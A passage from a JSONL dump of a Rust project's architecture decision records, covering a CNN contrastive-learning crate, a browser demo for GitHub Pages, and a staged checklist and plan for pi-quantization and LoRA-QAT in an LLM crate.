\u2502 \u2502 \u2502 \u2502\n\u2502 Phase B \u2502 19-42 \u2502 24 weeks \u2502 Bare metal AArch64, QEMU virt \u2502\n\u2502 \u2502 \u2502 \u2502 MMU, GIC, timer, WASM runtime \u2502\n\u2502 \u2502 \u2502 \u2502 \u2502\n\u2502 Phase C \u2502 43-54 \u2502 12 weeks \u2502 SMP (256 cores), DMA, DTB parser \u2502\n\u2502 \u2502 \u2502 \u2502 Spinlocks, IPIs, per-CPU data \u2502\n\u2502 \u2502 \u2502 \u2502 \u2502\n\u2502 Phase D \u2502 55-62 \u2502 8 weeks \u2502 Raspberry Pi 4/5 support \u2502\n\u2502 \u2502 \u2502 \u2502 BCM2711/2712 drivers \u2502\n\u2502 \u2502 \u2502 \u2502 \u2502\n\u2502 Phase E \u2502 63-74 \u2502 12 weeks \u2502 Networking (UDP/ICMP), Filesystem \u2502\n\u2502 \u2502 \u2502 \u2502 virtio-net, FAT32, RamFS \u2502\n\u2502 \u2502 \u2502 \u2502 \u2502\n\u2502 QEMU Swarm \u2502 75-82 \u2502 8 weeks \u2502 Multi-QEMU orchestration \u2502\n\u2502 \u2502 \u2502 \u2502 Fault injection, benchmarking \u2502\n\u2502 \u2502 \u2502 \u2502 \u2502\n\u2502 \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2502\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2502\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2502\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550 \u2502\n\u2502 TOTAL \u2502 1-82 \u2502 82 weeks \u2502 ~19 months \u2502\n\u2502 \u2502 \u2502 \u2502 \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-087-ruvix-cognition-kernel.md", "created_at": "2026-03-28T11:58:49.938847+00:00", "content_hash": "88aea15379c46547bac125ad9af099564348dec2ba231b514855e8f62dd83449"} +{"id": "4fb5e5f1-62eb-44c0-9f8a-d12c486fe946", "source": "adr", "text": "# ADR-088: CNN Contrastive Learning Integration for RuVector\n\n## Status\n\n**Proposed**\n\n## Date\n\n2026-03-11\n\n## Context\n\nRuVector requires image embedding capabilities for multimodal vector search applications. This ADR proposes integrating CNN-based contrastive learning with existing RuVector components:\n\n- **ruvector-attention**: Flash Attention, MoE, hyperbolic attention\n- **ruvector-math**: Optimal transport, information geometry, pure Rust SIMD\n- **ruvector-hyperbolic-hnsw**: Hyperbolic space vector search\n- **sona**: Self-Optimizing Neural Architecture (EWC++, LoRA, ReasoningBank)\n- **ruvector-gnn**: Graph Neural Networks (complementary, not competing)\n\n### Requirements\n\n| Requirement | Target | Notes |\n|-------------|--------|-------|\n| Embedding latency | <5ms (MobileNet-V3 Small) | CPU-only, no GPU |\n| HNSW search | <1ms @ 1M vectors | Leverages existing hyperbolic-hnsw |\n| Model size | <10MB (INT8 quantized) | Edge/WASM deployment |\n| WASM support | Required | Pure Rust, no BLAS/native deps |\n| Training | Contrastive (SimCLR/InfoNCE) | Integrates with SONA trajectory learning |\n\n### Why CNN (Not Just GNN)?\n\n| Aspect | CNN | GNN (ruvector-gnn) |\n|--------|-----|-------------------|\n| Input | Raw pixels (grid topology) | Graphs (irregular topology) |\n| Use Case | Image embeddings | Relational reasoning |\n| Spatial hierarchy | Built-in (conv filters) | Requires positional encoding |\n| Complementary | Image \u2192 embedding \u2192 GNN | GNN for cross-image relations |\n\nCNNs extract visual features; GNNs reason over relationships. They're complementary.\n\n## Decision\n\nImplement `ruvector-cnn` crate with the following architecture:\n\n### 1. Module Structure\n\n```\ncrates/ruvector-cnn/\n\u251c\u2500\u2500 src/\n\u2502 \u251c\u2500\u2500 lib.rs\n\u2502 \u251c\u2500\u2500 backbone/ # MobileNet-V3, ShuffleNet\n\u2502 \u2502 \u251c\u2500\u2500 mod.rs\n\u2502 \u2502 \u251c\u2500\u2500 mobilenet.rs\n\u2502 \u2502 \u2514\u2500\u2500 blocks.rs # Inverted residual, SE blocks\n\u2502 \u251c\u2500\u2500 layers/ # SIMD-optimized ops\n\u2502 \u2502 \u251c\u2500\u2500 conv.rs # Winograd 3x3\n\u2502 \u2502 \u251c\u2500\u2500 batchnorm.rs\n\u2502 \u2502 \u251c\u2500\u2500 pooling.rs\n\u2502 \u2502 \u2514\u2500\u2500 activation.rs # ReLU, Swish, HardSwish\n\u2502 \u251c\u2500\u2500 simd/ # Architecture-specific\n\u2502 \u2502 \u251c\u2500\u2500 mod.rs # Dispatch\n\u2502 \u2502 \u251c\u2500\u2500 avx2.rs\n\u2502 \u2502 \u251c\u2500\u2500 neon.rs\n\u2502 \u2502 \u2514\u2500\u2500 wasm.rs # SIMD128\n\u2502 \u251c\u2500\u2500 quantization/ # INT8/INT4\n\u2502 \u2502 \u251c\u2500\u2500 mod.rs\n\u2502 \u2502 \u251c\u2500\u2500 calibration.rs\n\u2502 \u2502 \u2514\u2500\u2500 vnni.rs # AVX-512 VNNI\n\u2502 \u251c\u2500\u2500 contrastive/ # Training losses\n\u2502 \u2502 \u251c\u2500\u2500 infonce.rs # SimCLR loss\n\u2502 \u2502 \u251c\u2500\u2500 triplet.rs\n\u2502 \u2502 \u2514\u2500\u2500 augmentation.rs\n\u2502 \u2514\u2500\u2500 integration/ # RuVector integration\n\u2502 \u251c\u2500\u2500 sona.rs # SONA trajectory feeding\n\u2502 \u251c\u2500\u2500 hyperbolic.rs # Hyperbolic embedding projection\n\u2502 \u2514\u2500\u2500 index.rs # ImageIndex wrapper\n\u251c\u2500\u2500 Cargo.toml\n\u2514\u2500\u2500 tests/\n```\n\n### 2. SIMD Strategy (per ADR-003)\n\nFollow existing SIMD dispatch pattern from `ruvector-core/src/simd_intrinsics.rs`:\n\n```rust\n// Dispatch pattern matching ADR-003\npub fn depthwise_conv_3x3(input: &[f32], kernel: &[f32], output: &mut [f32]) {\n #[cfg(target_arch = \"aarch64\")]\n { depthwise_conv_3x3_neon(input, kernel, output) }\n\n #[cfg(all(target_arch = \"x86_64\", target_feature = \"avx2\"))]\n {\n if is_x86_feature_detected!(\"avx2\") {\n unsafe { depthwise_conv_3x3_avx2(input, kernel, output) }\n } else {\n depthwise_conv_3x3_scalar(input, kernel, output)\n }\n }\n\n #[cfg(target_arch = \"wasm32\")]\n { depthwise_conv_3x3_wasm_simd(input, kernel, output) }\n\n #[cfg(not(any(target_arch = \"aarch64\", target_arch = \"x86_64\", target_arch = \"wasm32\")))]\n { depthwise_conv_3x3_scalar(input, kernel, output) }\n}\n```\n\n### 3. SONA Integration\n\nCNN embeddings integrate with SONA's trajectory learning:\n\n```rust\nuse sona::{SonaEngine, TrajectoryBuilder};\nuse ruvector_cnn::{MobileNetEmbedder, EmbeddingExtractor};\n\n// CNN extracts embedding\nlet embedder = MobileNetEmbedder::new_v3_small()?;\nlet embedding = embedder.extract(image_data, width, height)?;\n\n// Feed to SONA trajectory for contrastive learning\nlet mut trajectory = sona_engine.begin_trajectory(embedding.clone());\n\n// After augmented views\nlet view1_emb = embedder.extract(&augmented_view1, w, h)?;\nlet view2_emb = embedder.extract(&augmented_view2, w, h)?;\n\n// Record similarity as trajectory step\nlet similarity = cosine_similarity(&view1_emb, &view2_emb);\ntrajectory.add_step(view2_emb, vec![], similarity);\n\n// End trajectory triggers SONA learning\nsona_engine.end_trajectory(trajectory, similarity);\n```\n\n### 4. Hyperbolic Embedding Projection\n\nLeverage `ruvector-hyperbolic-hnsw` for hierarchical image search:\n\n```rust\nuse ruvector_hyperbolic_hnsw::{HyperbolicHnsw, PoincareBall};\n\n// Project CNN embedding to Poincar\u00e9 ball\nlet euclidean_emb = cnn.extract(image)?;\nlet hyperbolic_emb = poincare_ball.exp_map_zero(&euclidean_emb);\n\n// Hyperbolic HNSW search (better for hierarchical concepts)\nlet results = hyperbolic_index.search(&hyperbolic_emb, k)?;\n```\n\n### 5. WASM/NAPI Bindings\n\nFollowing existing patterns (`ruvector-wasm`, `ruvector-node`):\n\n```toml\n# Cargo.toml\n[features]\ndefault = [\"std\", \"avx2\"]\nstd = []\navx2 = []\nneon = []\nwasm = [\"wasm-bindgen\"]\nnapi = [\"napi\", \"napi-derive\"]\n\n[target.'cfg(target_arch = \"wasm32\")'.dependencies]\nwasm-bindgen = \"0.2\"\n\n[target.'cfg(not(target_arch = \"wasm32\"))'.dependencies]\nnapi = { version = \"2\", optional = true }\nnapi-derive = { version = \"2\", optional = true }\n```\n\n### 6. No External Dependencies (Pure Rust)\n\nPer `ruvector-math` design principles:\n- No BLAS/LAPACK dependencies\n- No OpenCV or image processing C libraries\n- Only `image` crate for decoding (pure Rust)\n- ONNX loading via `tract-onnx` (pure Rust)\n\n## Consequences\n\n### Positive\n\n1. **Unified SIMD**: Reuses ADR-003 patterns, consistent across crates\n2. **SONA synergy**: CNN embeddings enhance ReasoningBank pattern learning\n3. **Hyperbolic search**: Better semantic hierarchy in image retrieval\n4. **WASM-ready**: Runs in browsers without native dependencies\n5. **Complements GNN**: CNN for pixels, GNN for relations\n\n### Negative\n\n1. **Initial performance**: Pure Rust CNN may be 2-3x slower than C++/cuDNN initially\n2. **Model conversion**: Need to convert PyTorch/ONNX weights to our format\n3. **Training limited**: Full contrastive training may be slow on CPU\n\n### Neutral\n\n1. **Memory layout**: NHWC (TensorFlow style) chosen over NCHW for SIMD efficiency\n\n## Performance Targets\n\n| Operation | Target | Baseline Comparison |\n|-----------|--------|---------------------|\n| MobileNet-V3 Small forward | <5ms | PyTorch CPU: ~8ms |\n| Winograd 3x3 conv | 2-2.5x vs direct | Matches literature |\n| INT8 inference | 2-4x vs FP32 | With AVX-512 VNNI |\n| HNSW search (1M, 512d) | <1ms | Existing ruvector-hyperbolic-hnsw |\n\n## Alternatives Considered\n\n### 1. Use tract-onnx Directly\n\n**Rejected**: tract-onnx is good for loading but doesn't provide SIMD control we need for CNN-specific optimizations (Winograd, fused BN-Conv).\n\n### 2. Vision Transformer (ViT) Instead of CNN\n\n**Deferred**: ViT requires more compute. CNN is more CPU-friendly. ViT can be added later using existing `ruvector-attention`.\n\n### 3. Bind to OpenCV\n\n**Rejected**: Violates pure Rust principle, breaks WASM.\n\n## References\n\n1. ADR-003: SIMD Optimization Strategy\n2. ADR-005: WASM Runtime Integration\n3. SimCLR Paper: https://arxiv.org/abs/2002.05709\n4. MobileNet-V3: https://arxiv.org/abs/1905.02244\n5. docs/research/cnn/SOTA_OVERVIEW.md\n6. docs/research/cnn/SIMD_OPTIMIZATION.md\n7. docs/research/cnn/RUST_IMPLEMENTATION.md\n8. docs/research/cnn/RUVECTOR_INTEGRATION.md", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-088-cnn-contrastive-integration.md", "created_at": "2026-03-28T11:58:49.939447+00:00", "content_hash": "900387d76b657015b4222e3875340524b16c6c3531db41351ad748f4d46b32f9"} +{"id": "966d1988-39cf-4b25-bb4a-24d72d0129c8", "source": "adr", "text": "# ADR-089: CNN Browser Demo for GitHub Pages\n\n## Status\nAccepted\n\n## Context\nThe `@ruvector/cnn` npm package provides WASM-based CNN feature extraction for browsers. To showcase its capabilities and provide a hands-on experience, we need an interactive demo deployable to GitHub Pages.\n\n## Decision\nCreate an interactive browser demo with:\n\n### Features\n1. **Image Upload** - Drag & drop or file picker\n2. **Camera Capture** - Real-time webcam integration\n3. **Feature Extraction** - Visual display of embedding vectors\n4. **Similarity Search** - Compare images and show similarity scores\n5. **Live Heatmap** - Feature activation visualization\n6. **Performance Metrics** - Real-time latency display\n\n### Technical Approach\n- Single HTML file with embedded CSS/JS for easy deployment\n- ES modules loading WASM directly from npm CDN (unpkg/jsdelivr)\n- Canvas-based visualizations\n- No build step required\n\n### Deployment\n- GitHub Pages via `docs/demo/cnn/` directory\n- Direct URL: `https://ruvnet.github.io/ruvector/demo/cnn/`\n\n## Consequences\n\n### Positive\n- Zero-install demo experience\n- Showcases real WASM performance (~5ms/image)\n- Educational tool for understanding embeddings\n- Marketing asset for the package\n\n### Negative\n- CDN dependency for WASM module\n- Browser compatibility limited to WASM-supporting browsers\n\n## Implementation\n- `docs/demo/cnn/index.html` - Main demo page\n- Uses `@ruvector/cnn` from unpkg CDN", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-089-cnn-browser-demo.md", "created_at": "2026-03-28T11:58:49.939581+00:00", "content_hash": "9fc8b9dea53e495996d631ecbef4b88eb967da041ece0bf01da6610daa149601"} +{"id": "95354c27-12f7-4969-ad4d-b73f5e478938", "source": "adr", "text": "# ADR-090 Implementation Checklist: Ultra-Low-Bit QAT & Pi-Quantization\n\n**ADR**: ADR-090-ultra-low-bit-qat-pi-quantization-ddd.md\n**Status**: Ready for Implementation (Staged)\n**Target Crate**: `ruvllm`\n\n---\n\n## Phase 1: PiQ3 PTQ (Weeks 1-3)\n\n### 1.1 Pi-Quantization Core\n\n- [ ] **File**: `crates/ruvllm/src/quantize/pi_quant.rs`\n - [ ] `PiQuantizer` struct (bits, k, alpha per-channel)\n - [ ] `quantize_scalar()` method with pi/k step size\n - [ ] `quantize_block()` method for packed storage\n - [ ] `Pi3BitBlock` packed format (3 bytes \u2192 8 values)\n - [ ] `Pi2BitBlock` packed format (1 byte \u2192 4 values)\n - [ ] Unit tests for quantize/dequantize round-trip\n - [ ] **Invariant Check**: INV-2 (scale positivity), INV-3 (step size constraint)\n\n### 1.2 Pi-Quant SIMD Kernels\n\n- [ ] **File**: `crates/ruvllm/src/quantize/pi_quant_simd.rs`\n - [ ] `pi_dequantize_neon()` - ARM NEON kernel\n - [ ] `pi_dequantize_avx2()` - x86_64 AVX2 kernel\n - [ ] Scalar reference implementation\n - [ ] Kernel equivalence tests (\u22641 ULP, INV-8)\n\n### 1.3 TargetFormat Extension\n\n- [ ] **File**: `crates/ruvllm/src/quantize/ruvltra_quant.rs`\n - [ ] Add `PiQ3` variant to `TargetFormat` enum\n - [ ] Add `PiQ2` variant to `TargetFormat` enum\n - [ ] Implement `bits_per_weight()` for new variants\n - [ ] Update `quantize_tensor()` dispatch\n\n### 1.4 GGUF Type Registration\n\n- [ ] **File**: `crates/ruvllm/src/gguf/quantization.rs`\n - [ ] Register `PiQ3 = 40` type ID (INV-7)\n - [ ] Register `PiQ2 = 41` type ID\n - [ ] Implement serialization/deserialization\n\n### 1.5 Phase 1 Validation\n\n- [ ] **Metrics collection**: MSE, spectral distortion, cosine similarity, outlier retention\n- [ ] **Gate G1**: PiQ3 beats uniform Q3 on \u22652/4 quality metrics\n- [ ] **Benchmark**: `benches/pi_quant_bench.rs` created\n\n---\n\n## Phase 2: PiQ3 + LoRA-QAT (Weeks 4-7)\n\n### 2.1 Straight-Through Estimator\n\n- [ ] **File**: `crates/ruvllm/src/qat/ste.rs`\n - [ ] `SteVariant` enum (Standard, Clipped, LearnedStepSize, Ewgs)\n - [ ] `backward()` method for each variant\n - [ ] Gradient correctness tests vs PyTorch reference (INV-1)\n\n### 2.2 Differentiable Quantization\n\n- [ ] **File**: `crates/ruvllm/src/qat/differentiable_quant.rs`\n - [ ] `DifferentiableQuantizer` trait\n - [ ] `PiQuantDifferentiable` impl\n - [ ] Forward/backward pass with STE\n - [ ] Scale gradient computation for LSQ variant\n\n### 2.3 Calibration Pipeline\n\n- [ ] **File**: `crates/ruvllm/src/qat/calibration.rs`\n - [ ] `CalibrationEngine` aggregate root\n - [ ] Mixed-domain calibration (tool use + reasoning)\n - [ ] Per-layer scale/zero-point initialization\n - [ ] Calibration artifact serialization (INV-5)\n - [ ] Integration with `training/tool_dataset.rs`\n - [ ] Integration with `training/claude_dataset.rs`\n\n### 2.4 Distillation Loss\n\n- [ ] **File**: `crates/ruvllm/src/qat/distillation.rs`\n - [ ] `DistillationLoss` struct\n - [ ] `L_task` component (task loss)\n - [ ] `L_KD` component (KL divergence from teacher)\n - [ ] `L_reasoning` component (CoT fidelity)\n - [ ] Composite loss with configurable weights\n\n### 2.5 Reasoning Loss\n\n- [ ] **File**: `crates/ruvllm/src/qat/reasoning_loss.rs`\n - [ ] Chain-of-thought fidelity loss\n - [ ] Step-wise reasoning preservation\n - [ ] Integration with evaluation harness\n\n### 2.6 LoRA-QAT Integration\n\n- [ ] **File**: `crates/ruvllm/src/qat/lora_qat.rs`\n - [ ] `LoraQatTrainer` struct\n - [ ] Quantization-aware LoRA forward pass\n - [ ] Memory-efficient gradient checkpointing\n - [ ] Integration with `lora/micro_lora.rs`\n - [ ] Integration with `lora/training.rs`\n\n- [ ] **File**: `crates/ruvllm/src/lora/micro_lora.rs` (extend)\n - [ ] Add `AdapterMode::Qat` variant\n - [ ] Support quantized base + FP32 adapter\n\n### 2.7 QAT Training Loop\n\n- [ ] **File**: `crates/ruvllm/src/qat/training_loop.rs`\n - [ ] `QatTrainer` orchestrator\n - [ ] `run()` method: calibrate \u2192 train \u2192 export\n - [ ] Epoch metrics: loss, PPL, reasoning score\n - [ ] Domain event emission: `QatEpochComplete`\n\n### 2.8 QAT Config\n\n- [ ] **File**: `crates/ruvllm/src/qat/config.rs`\n - [ ] `QatConfig` struct (bits, STE variant, loss weights, epochs)\n - [ ] `QuantGranularity` enum (PerTensor, PerChannel, PerToken)\n - [ ] Serialization for config persistence\n\n### 2.9 Phase 2 Validation\n\n- [ ] **Reasoning metrics**: PPL delta, GSM8K delta, HumanEval delta, tool use delta, long context\n- [ ] **Gate G2**: All 5 reasoning metrics within acceptable delta\n- [ ] **Memory check**: LoRA-QAT \u22642 GB for 0.5B model\n\n---\n\n## Phase 3: PiQ2 + Incoherence (Weeks 8-10)\n\n### 3.1 Hadamard Transform\n\n- [ ] **File**: `crates/ruvllm/src/quantize/hadamard.rs`\n - [ ] `HadamardTransform` struct\n - [ ] `forward_inplace()` - O(n log n) Walsh-Hadamard\n - [ ] `inverse_inplace()` - inverse transform\n - [ ] Random sign flip support\n - [ ] Property test: H \u00d7 H^T = n \u00d7 I (INV-4)\n\n### 3.2 Incoherence Processing\n\n- [ ] **File**: `crates/ruvllm/src/quantize/incoherence.rs`\n - [ ] `IncoherenceTransform` aggregate root\n - [ ] Apply Hadamard before quantization\n - [ ] Store transform metadata\n - [ ] Domain event: `IncoherenceApplied`\n\n### 3.3 QuIP-Enhanced Quantization\n\n- [ ] **File**: `crates/ruvllm/src/quantize/quip.rs`\n - [ ] `Q2_QuIP` variant in TargetFormat\n - [ ] Combine incoherence + 2-bit K-quant\n - [ ] Metadata for inverse transform\n\n### 3.4 PiQ2 Implementation\n\n- [ ] **File**: `crates/ruvllm/src/quantize/pi_quant.rs` (extend)\n - [ ] `quantize_2bit()` method\n - [ ] 2-bit packing (reuse `bitnet/ternary_tensor.rs` pattern)\n - [ ] Integration with incoherence pipeline\n\n### 3.5 Phase 3 Validation\n\n- [ ] **Gate G3**: PiQ2 + incoherence achieves acceptable quality without full QAT\n- [ ] **Benchmark**: 2-bit throughput targets\n\n---\n\n## Phase 4: WASM Integration (Week 11)\n\n### 4.1 WASM SIMD Kernels\n\n- [ ] **File**: `crates/ruvllm/src/quantize/pi_quant_wasm_simd.rs`\n - [ ] `pi_dequant_wasm_simd()` using SIMD128\n - [ ] Reuse LUT pattern from `bitnet/tl1_wasm.rs`\n - [ ] In-browser kernel tests\n\n### 4.2 WASM Bindings\n\n- [ ] **File**: `crates/ruvllm-wasm/src/pi_quant_wasm.rs`\n - [ ] `PiQuantWasm` wasm_bindgen struct\n - [ ] `quantize()` method\n - [ ] `dequantize()` method\n - [ ] `computeMse()` method\n - [ ] `spectralDistortion()` method\n - [ ] JSON serialization\n\n### 4.3 WASM Benchmarks\n\n- [ ] **File**: `crates/ruvllm-wasm/src/quant_bench_wasm.rs`\n - [ ] `QuantBenchWasm` struct\n - [ ] `runBench()` method\n - [ ] `compareFormats()` method\n\n### 4.4 WASM Feature Gating\n\n- [ ] **File**: `crates/ruvllm-wasm/Cargo.toml`\n - [ ] Add `pi-quant` feature\n - [ ] Add `qat` feature (depends on `pi-quant`)\n - [ ] Feature flag tests\n\n---\n\n## Phase 5: Security & Observability (Week 12)\n\n### 5.1 Weight Integrity\n\n- [ ] **File**: `crates/ruvllm/src/quantize/security.rs`\n - [ ] `WeightIntegrity` struct (hashes, config)\n - [ ] `validate_quantized_model()` function\n - [ ] SHA-256 checksum computation\n - [ ] GGUF security validation\n\n### 5.2 Observability\n\n- [ ] **File**: `crates/ruvllm/src/qat/metrics.rs`\n - [ ] Per-epoch loss tracking\n - [ ] Quality metric export\n - [ ] Training duration metrics\n\n---\n\n## Phase 6: Integration & Benchmarks (Weeks 13-14)\n\n### 6.1 SONA Integration\n\n- [ ] **File**: `crates/ruvllm/src/sona/integration.rs` (extend)\n - [ ] Tier 2: Quantization scale adaptation\n - [ ] Quality signal for dynamic precision\n\n### 6.2 Evaluation Harness Extension\n\n- [ ] **File**: `crates/ruvllm/src/evaluation/real_harness.rs` (extend)\n - [ ] Add quantized model evaluation\n - [ ] GSM8K, HumanEval, WikiText-2 benchmarks\n - [ ] Tool use evaluation\n\n### 6.3 Criterion Benchmarks\n\n- [ ] **File**: `crates/ruvllm/benches/pi_quant_bench.rs`\n - [ ] `bench_pi_quantize` (target: >1 GB/s)\n - [ ] `bench_pi_dequantize_simd` (target: >10 GB/s NEON, >2 GB/s WASM)\n - [ ] `bench_hadamard_transform` (target: <50 \u03bcs for 4096-dim)\n - [ ] `bench_qat_forward_backward` (target: <500 ms/step)\n\n### 6.4 Integration Tests\n\n- [ ] **File**: `crates/ruvllm/tests/qat_integration.rs`\n - [ ] Full QAT pipeline test (calibrate \u2192 train \u2192 export)\n - [ ] Quantized model inference test\n - [ ] WASM export test\n\n---\n\n## Acceptance Gates Verification\n\n| Gate | Phase | Test Command |\n|------|-------|--------------|\n| G1 | 1\u21922 | `cargo test -p ruvllm gate_piq3_quality` |\n| G2 | 2\u21923 | `cargo test -p ruvllm gate_lora_qat_convergence` |\n| G3 | 3\u21924 | `cargo test -p ruvllm gate_piq2_viability` |\n| G4 | Any | `cargo bench -p ruvllm -- --baseline main` |\n| G5 | Pre-merge | `cargo clippy -p ruvllm -- -D clippy::undocumented_unsafe_blocks` |\n| G6 | Pre-release | `cd crates/ruvllm-wasm && wasm-pack build --target web` |\n\n---\n\n## Quality Metrics Collection\n\n### Phase 1 Metrics (PiQ3 PTQ)\n\n```bash\n# Run quality comparison\ncargo test -p ruvllm --release pi_quant_quality -- --nocapture\n\n# Expected output:\n# MSE (PiQ3 vs Q3): 0.042 vs 0.051 (\u2713 PiQ3 better)\n# Spectral (PiQ3 vs Q3): -18.2 dB vs -17.5 dB (\u2713 PiQ3 better)\n# Cosine (PiQ3 vs Q3): 0.9981 vs 0.9975 (\u2713 PiQ3 better)\n# Outlier Retention: 87% vs 68% (\u2713 PiQ3 better)\n```\n\n### Phase 2 Metrics (LoRA-QAT)\n\n```bash\n# Run reasoning evaluation\ncargo run -p ruvllm --release -- evaluate \\\n --model quantized-0.5b-piq3-qat.gguf \\\n --benchmarks wikitext2,gsm8k,humaneval,tool_use,long_context\n\n# Expected output:\n# WikiText-2 PPL: 13.2 (+7% from FP16 12.3) \u2713\n# GSM8K: 40% (-5pt from 45%) \u2713\n# HumanEval: 25% (-3pt from 28%) \u2713\n# Tool Use: 89% (-3pt from 92%) \u2713\n# Long Context 8K: 88% (-4pt from 92%) \u2713\n```\n\n---\n\n## Rollback Triggers\n\n| Trigger | Detection | Response |\n|---------|-----------|----------|\n| PiQ3 \u2264 Uniform | G1 fails (0-1 metrics better) | Investigate step size; if fails, de-scope to research |\n| LoRA-QAT OOM | Training crashes | Reduce rank 16\u21928\u21924; if OOM persists, defer to GPU cluster |\n| Reasoning collapse | >25 point GSM8K drop | Increase \u03bb_KD; if fails, revert to PTQ-only |\n| SIMD divergence | >1 ULP vs scalar | Fix kernel; block merge |\n| Benchmark regression | >5% slower than baseline | Bisect and fix; block merge |\n\n---\n\n## File Summary\n\n### New Files (16 files)\n\n```\ncrates/ruvllm/src/quantize/\n pi_quant.rs # Pi-constant quantization core\n pi_quant_simd.rs # NEON/AVX2 kernels\n pi_quant_wasm_simd.rs # WASM SIMD128 kernels\n incoherence.rs # Hadamard rotation transforms\n hadamard.rs # Fast Walsh-Hadamard O(n log n)\n quip.rs # QuIP-enhanced 2-bit\n security.rs # Weight integrity validation\n\ncrates/ruvllm/src/qat/\n mod.rs # Public API\n config.rs # QatConfig, SteVariant\n ste.rs # Straight-through estimator\n differentiable_quant.rs # DifferentiableQuantizer trait\n calibration.rs # Mixed-domain calibration\n distillation.rs # Teacher-student loss\n reasoning_loss.rs # Chain-of-thought fidelity\n training_loop.rs # Main QAT orchestrator\n lora_qat.rs # LoRA-QAT lightweight variant\n\ncrates/ruvllm-wasm/src/\n pi_quant_wasm.rs # Pi-quantization WASM bindings\n quant_bench_wasm.rs # In-browser benchmarks\n\ncrates/ruvllm/benches/\n pi_quant_bench.rs # Criterion benchmarks\n```\n\n### Extended Files (12 files)\n\n```\ncrates/ruvllm/src/quantize/ruvltra_quant.rs # TargetFormat enum\ncrates/ruvllm/src/gguf/quantization.rs # GGUF type IDs\ncrates/ruvllm/src/training/real_trainer.rs # QatMode\ncrates/ruvllm/src/lora/micro_lora.rs # AdapterMode::Qat\ncrates/ruvllm/src/lora/training.rs # LoRA-QAT gradients\ncrates/ruvllm/src/sona/integration.rs # Tier 2 adaptation\ncrates/ruvllm/src/evaluation/real_harness.rs # Quantized eval\ncrates/ruvllm-wasm/src/bindings.rs # WASM exports\ncrates/ruvllm-wasm/Cargo.toml # Feature flags\n```\n\n---\n\n## Definition of Done\n\n- [ ] All checkboxes above completed\n- [ ] Gates G1-G6 passing\n- [ ] All 5 reasoning metrics within acceptable delta\n- [ ] Benchmarks meet performance targets\n- [ ] Documentation in `crates/ruvllm/docs/qat/`\n- [ ] CHANGELOG entry added\n- [ ] PR reviewed and approved\n- [ ] Merged to main", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-090-implementation-checklist.md", "created_at": "2026-03-28T11:58:49.939724+00:00", "content_hash": "d9df851d8b75f9e2e28e4a23e08298e06325ee36bf28d208fdfb2cc804a05ab1"} +{"id": "423aa6b1-3925-43c9-8151-9463c9affa3c", "source": "adr", "text": "# ADR-090: Ultra-Low-Bit QAT & Pi-Quantization \u2014 Domain-Driven Design Architecture\n\n**Status**: Accepted (Implementing)\n**Date**: 2026-03-12\n**Authors**: RuVector Architecture Team\n**Deciders**: ruv\n**Technical Area**: 2-Bit/3-Bit Quantization / QAT / Pi-Constant Scaling / Edge Deployment / WASM\n**Related**: ADR-024 (Craftsman Ultra 30b 1bit BitNet), ADR-084 (ruvllm-wasm Publish), ADR-016 (Delta-Behavior DDD), ADR-002 (RuvLLM Integration), ADR-091 (INT8 CNN Quantization), ADR-092 (MoE Memory-Aware Routing \u2014 split from this ADR)\n\n## Version History\n\n| Version | Date | Author | Changes |\n|---------|------|--------|---------|\n| 0.1 | 2026-03-12 | RuVector Team | Initial proposal based on quantization-edge research |\n| 0.2 | 2026-03-12 | RuVector Team | Added decision statement, staged phases, validation plan, rollback gates. Split MoE routing to ADR-092. |\n| 0.3 | 2026-03-12 | RuVector Team | Implementation complete for Phase 1-3. Added status section. |\n\n## Implementation Status\n\n**Branch**: `feat/adr-090-ultra-low-bit-qat`\n**Last Updated**: 2026-03-12\n\n### Phase Completion\n\n| Phase | Status | Files Created | Tests |\n|-------|--------|---------------|-------|\n| Phase 1: PiQ3 PTQ | \u2705 Complete | `pi_quant.rs`, `pi_quant_simd.rs`, `ruvltra_quant.rs` | 54 |\n| Phase 2: LoRA-QAT | \u2705 Complete | `qat/` (9 files), `lora_qat.rs` | 24 |\n| Phase 3: Incoherence | \u2705 Complete | `hadamard.rs`, `incoherence.rs`, `quip.rs` | 23 |\n| Phase 4: WASM | \ud83d\udd04 In Progress | `pi_quant_wasm.rs`, `quant_bench_wasm.rs` | - |\n\n### Invariants Verified\n\n| Invariant | Status | Test File |\n|-----------|--------|-----------|\n| INV-1: STE Gradient Flow | \u2705 | `ste_tests.rs` |\n| INV-2: Scale Positivity | \u2705 | `pi_quant_tests.rs` |\n| INV-3: Step Size Constraint | \u2705 | `pi_quant_tests.rs` |\n| INV-4: Hadamard Orthogonality | \u2705 | `hadamard_tests.rs` |\n| INV-5: Calibration Provenance | \u2705 | `acceptance_gates.rs` |\n| INV-8: SIMD \u2248 Scalar | \u2705 | `simd_equivalence_tests.rs` |\n\n### Test Summary\n\n- **Total Tests**: 114\n- **All Passing**: \u2705 Yes\n\n---\n\n## Decision Statement\n\n**ADR-090 chooses LoRA-QAT as the first implementation path for 2-bit and 3-bit experimentation in ruvLLM, with full-model QAT explicitly deferred to a later phase.**\n\nThis decision prioritizes:\n- Research differentiation over near-term production (see ADR-091 for production INT8)\n- Pi-constant quantization as a novel, potentially publishable approach\n- LoRA-QAT for memory efficiency (50 MB vs 114 GB for full QAT on 7B)\n- Staged evidence gathering before committing to full QAT 